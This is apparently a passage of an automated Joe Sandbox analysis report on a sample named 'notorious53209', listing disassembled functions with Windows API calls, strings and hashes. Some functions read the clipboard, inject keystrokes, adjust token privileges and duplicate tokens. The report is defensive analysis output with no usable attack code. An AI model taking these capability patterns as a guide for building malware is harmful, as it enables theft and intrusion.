Part of subcall function 00252EC8: RtlEncodePointer.NTDLL(00000004), ref: 00252F67

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: b3267b997f7d499ff442457d2ffefab022639604afbfced98120be09a8d34ed6
Instruction ID: 9c92c056bfe03950b4d0746e74d8fd574de5d7a750e9a59b628b3e6d9ae84090
Opcode Fuzzy Hash: b3267b997f7d499ff442457d2ffefab022639604afbfced98120be09a8d34ed6
Instruction Fuzzy Hash: 22D0C272D60209DACB02FBE4880335D7A606F00337F504104F810F60C2CBB40B294F59

Function 00235DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 00235DBF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5f2948ef736fb0aff4684e02af704f74c8c0c14b20ab752b677853035bd8583e
Instruction ID: df819b456c88c9659110192b57d7688edf00cfcb16b5695f1f4f8c707a2fbdfb
Opcode Fuzzy Hash: 5f2948ef736fb0aff4684e02af704f74c8c0c14b20ab752b677853035bd8583e
Instruction Fuzzy Hash: 6AD0C77565020CBFE710DB84DC46FA9777CD705710F100294FD0456290D6B27D508795

Function 0025548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00255496

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 54f71abb61a44c80db0ca5d4a5a741b80d160dac5a85dca4feba698f4e1e318d
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 7AB0927684020C77DE012E82EC02A693B1A9B40679F808020FF0C18162A673A6B4AA89

Function 0027220E Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 0027221A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: ea5c9596d491d2cca145127db9c7c0566bf2dce94fff5a8ba1f3459babcf7171
Instruction ID: 5a9423dc004eea9278a532ef310acce76a43fd9da2f9eec317028cdd1f35ae96
Opcode Fuzzy Hash: ea5c9596d491d2cca145127db9c7c0566bf2dce94fff5a8ba1f3459babcf7171
Instruction Fuzzy Hash: 42C09B704740199FE715A754DDD5AB8733CFF04705F1440D5764591190D5F05B54CF15

Function 0029D2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 0029D46A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 3a2e534b6d01e30dc17d6d28423be3e4e64c854b762169c16daece165fee7073
Instruction ID: a6150a9a2b801baec19fc55b3b54d8e8e4ff1502430d884a8948fddf363d3bd6
Opcode Fuzzy Hash: 3a2e534b6d01e30dc17d6d28423be3e4e64c854b762169c16daece165fee7073
Instruction Fuzzy Hash: FC7152702243028FCB14EF24C4D1A6AB7E0AF89314F04496DF99A9B3A1DB70ED59DF52

Function 00250E48 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00250EF7

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 114484da7cc032b66187d93618674abcef033dcf057b10661c2a2b0797405178
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 0731F570A10106DBC718DF48C8C2969F7A6FF59311B388AA5E809CB651DB70EDE5CBC8

Function 001622A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 001622B1

Memory Dump Source

Source File: 0000000A.00000002.395533851.0000000000160000.00000040.00001000.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_160000_notorious53209.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 596bc6675a865ee8e41eb02224ec490dd7f577e0420fb831c351dcfc35c0f09f
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 78E0BF7494010E9FDB00EFA4D9496AE7BB4EF04701F100165FD0192280D73099608A62

Non-executed Functions

Function 002BCDAC Relevance: 70.6, APIs: 37, Strings: 3, Instructions: 637windowkeyboardnativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?), ref: 002BCE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 002BCE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 002BCED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 002BCF00
SendMessageW.USER32 ref: 002BCF29
_wcsncpy.LIBCMT ref: 002BCFA1
GetKeyState.USER32(00000011), ref: 002BCFC2
GetKeyState.USER32(00000009), ref: 002BCFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 002BCFE5
GetKeyState.USER32(00000010), ref: 002BCFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 002BD018
SendMessageW.USER32 ref: 002BD03F
SendMessageW.USER32(?,00001030,?,002BB602), ref: 002BD145
SetCapture.USER32(?), ref: 002BD177
ClientToScreen.USER32(?,?), ref: 002BD1DC
InvalidateRect.USER32(?,00000000,00000001), ref: 002BD203
ReleaseCapture.USER32 ref: 002BD20E
GetCursorPos.USER32(?), ref: 002BD248
ScreenToClient.USER32(?,?), ref: 002BD255
SendMessageW.USER32(?,00001012,00000000,?), ref: 002BD2B1
SendMessageW.USER32 ref: 002BD2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 002BD31C
SendMessageW.USER32 ref: 002BD34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 002BD36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 002BD37B
GetCursorPos.USER32(?), ref: 002BD39B
ScreenToClient.USER32(?,?), ref: 002BD3A8
GetParent.USER32(?), ref: 002BD3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 002BD431
SendMessageW.USER32 ref: 002BD462
ClientToScreen.USER32(?,?), ref: 002BD4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 002BD4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 002BD51A
SendMessageW.USER32 ref: 002BD53D
ClientToScreen.USER32(?,?), ref: 002BD58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 002BD5C3

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

GetWindowLongW.USER32(?,000000F0), ref: 002BD65F

Strings

pr/, xrefs: 002BD1BD
F, xrefs: 002BD543
@GUI_DRAGID, xrefs: 002BD1AA

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongWindow$State$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pr/
API String ID: 302779176-3816346817
Opcode ID: 8da8415cb33c0cfa57ba11a3249004f4ae5b0b5179c559ee45df22b1b41e6620
Instruction ID: c91fd488368394f46e59abe7fbc846074ed294b9727aba145c031f57bb81c068
Opcode Fuzzy Hash: 8da8415cb33c0cfa57ba11a3249004f4ae5b0b5179c559ee45df22b1b41e6620
Instruction Fuzzy Hash: 9542B070124241EFC725CF28D848AEABBE5FF48394F28062DF655972A1D771E864CF92

Function 002B804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 002B873F

Strings

%d/%02d/%02d, xrefs: 002B8478

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 6e07466447a5bd6f3a100cf58d7c5cc659d25dfdb5af2f54429d3b8e524c39b3
Instruction ID: aad0e25401bfb70427e532e163f9910a5401f9b96f4f325aff7dd98180f348a4
Opcode Fuzzy Hash: 6e07466447a5bd6f3a100cf58d7c5cc659d25dfdb5af2f54429d3b8e524c39b3
Instruction Fuzzy Hash: 1B12E271520205ABEB248F28DC49FEA7BBCEF45394F284129F919EA2E1DF709951CF10

Function 0024710E Relevance: 52.3, APIs: 19, Strings: 8, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002475C2
_memset.LIBCMT ref: 002476B1
_memmove.LIBCMT ref: 00247C4B
_memmove.LIBCMT ref: 00247E4F

Strings

[:<:]], xrefs: 002475F1
[:>:]], xrefs: 0024760A
Oa$, xrefs: 0028287E
Q\E, xrefs: 002481C1
\b(?<=\w), xrefs: 00283C41
DEFINE, xrefs: 002825AF
0w., xrefs: 00281F5B
\b(?=\w), xrefs: 00283C34

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove$_memset
String ID: 0w.$DEFINE$Oa$$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-3882254006
Opcode ID: b37e1596c753ec3105587e803ea84acf9a65400dc96bc1d2efde819c17d8d403
Instruction ID: 3702129009210287742f57b7686447e7008675d08c91dbf6bb1e42e7d6136745
Opcode Fuzzy Hash: b37e1596c753ec3105587e803ea84acf9a65400dc96bc1d2efde819c17d8d403
Instruction Fuzzy Hash: 1893C175E21216DFDB28DF58C881BADB7B1FF48710F24816AE955AB2C0E7709E91CB40

Function 00234A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00234A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0026DA8E
IsIconic.USER32(?), ref: 0026DA97
ShowWindow.USER32(?,00000009), ref: 0026DAA4
SetForegroundWindow.USER32(?), ref: 0026DAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0026DAC4
GetCurrentThreadId.KERNEL32 ref: 0026DACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 0026DAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 0026DAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 0026DAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 0026DAF8
SetForegroundWindow.USER32(?), ref: 0026DAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 0026DB10
keybd_event.USER32(00000012,00000000), ref: 0026DB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 0026DB25
keybd_event.USER32(00000012,00000000), ref: 0026DB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 0026DB33
keybd_event.USER32(00000012,00000000), ref: 0026DB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 0026DB42
keybd_event.USER32(00000012,00000000), ref: 0026DB47
SetForegroundWindow.USER32(?), ref: 0026DB4A
AttachThreadInput.USER32(?,?,00000000), ref: 0026DB71

Strings

Shell_TrayWnd, xrefs: 0026DA89

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 188712d19876a6063c6c5ddcd3be79bd156cf1570b504f7b4fcc5cd9c41e26a0
Instruction ID: bdf07e1c6a6e89c59270547cd5a662f0efe0d15162ad78e757cebab3cf04b477
Opcode Fuzzy Hash: 188712d19876a6063c6c5ddcd3be79bd156cf1570b504f7b4fcc5cd9c41e26a0
Instruction Fuzzy Hash: 62318275B9031CBAEB206FA5AD49FBE3E6CEB44B50F114125FA04AA1D0D6B05D50ABA0

Function 002A425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(002BF910), ref: 002A4284
IsClipboardFormatAvailable.USER32(0000000D), ref: 002A4292
GetClipboardData.USER32(0000000D), ref: 002A429A
CloseClipboard.USER32 ref: 002A42A6
GlobalFix.KERNEL32(00000000), ref: 002A42C2
CloseClipboard.USER32 ref: 002A42CC
GlobalUnWire.KERNEL32(00000000), ref: 002A42E1
IsClipboardFormatAvailable.USER32(00000001), ref: 002A42EE
GetClipboardData.USER32(00000001), ref: 002A42F6
GlobalFix.KERNEL32(00000000), ref: 002A4303
GlobalUnWire.KERNEL32(00000000), ref: 002A4337
CloseClipboard.USER32 ref: 002A4447

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatWire$Open
String ID:
API String ID: 941120096-0
Opcode ID: 05757e9449c27032721c4db1dbbcb35ff84aa898b7149dc828324a7582d70b93
Instruction ID: 38346411dc5dbec646f9a96e3c5e00a23c990a50d58bd9fd1ddb130295ef7f59
Opcode Fuzzy Hash: 05757e9449c27032721c4db1dbbcb35ff84aa898b7149dc828324a7582d70b93
Instruction Fuzzy Hash: D651EF75214302AFD710FF64ED8AF6E77A8AF85B00F004629F956D21E1DFB0D9258B62

Function 00288858 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00288CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00288D0D
Part of subcall function 00288CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00288D3A
Part of subcall function 00288CC3: GetLastError.KERNEL32 ref: 00288D47

_memset.LIBCMT ref: 0028889B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 002888ED
CloseHandle.KERNEL32(?), ref: 002888FE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00288915
GetProcessWindowStation.USER32 ref: 0028892E
SetProcessWindowStation.USER32(00000000), ref: 00288938
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00288952

Part of subcall function 00288713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00288851), ref: 00288728
Part of subcall function 00288713: CloseHandle.KERNEL32(?), ref: 0028873A

Strings

, xrefs: 002888AA
default, xrefs: 0028894D
winsta0, xrefs: 00288910

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: d8ee80eb98d10adf2f6d174f0919e7321a8a3eca99d85bf1c4bbe84cb6130da6
Instruction ID: 52e36e1fb544e30cd930443abba836ed0ca4a0f8ef98cf856fefb4f6865f4e15
Opcode Fuzzy Hash: d8ee80eb98d10adf2f6d174f0919e7321a8a3eca99d85bf1c4bbe84cb6130da6
Instruction Fuzzy Hash: A781707581120AAFDF15EFA4DD49AEE7B78EF04304F48416AFD10A21E1DB318E24DB60

Function 0029C9C7 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0029C9F8
FindClose.KERNEL32(00000000), ref: 0029CA4C
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0029CA71
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0029CA88
FileTimeToSystemTime.KERNEL32(?,?), ref: 0029CAAF
__swprintf.LIBCMT ref: 0029CAFB
__swprintf.LIBCMT ref: 0029CB3E

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

__swprintf.LIBCMT ref: 0029CB92

Part of subcall function 002538D8: __woutput_l.LIBCMT ref: 00253931

__swprintf.LIBCMT ref: 0029CBE0

Part of subcall function 002538D8: __flsbuf.LIBCMT ref: 00253953
Part of subcall function 002538D8: __flsbuf.LIBCMT ref: 0025396B

__swprintf.LIBCMT ref: 0029CC2F
__swprintf.LIBCMT ref: 0029CC7E
__swprintf.LIBCMT ref: 0029CCCD

Strings

%02d, xrefs: 0029CB86, 0029CB90, 0029CBDE, 0029CC2D, 0029CC7C, 0029CCCB
%4d, xrefs: 0029CB38
%4d%02d%02d%02d%02d%02d, xrefs: 0029CAF5

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
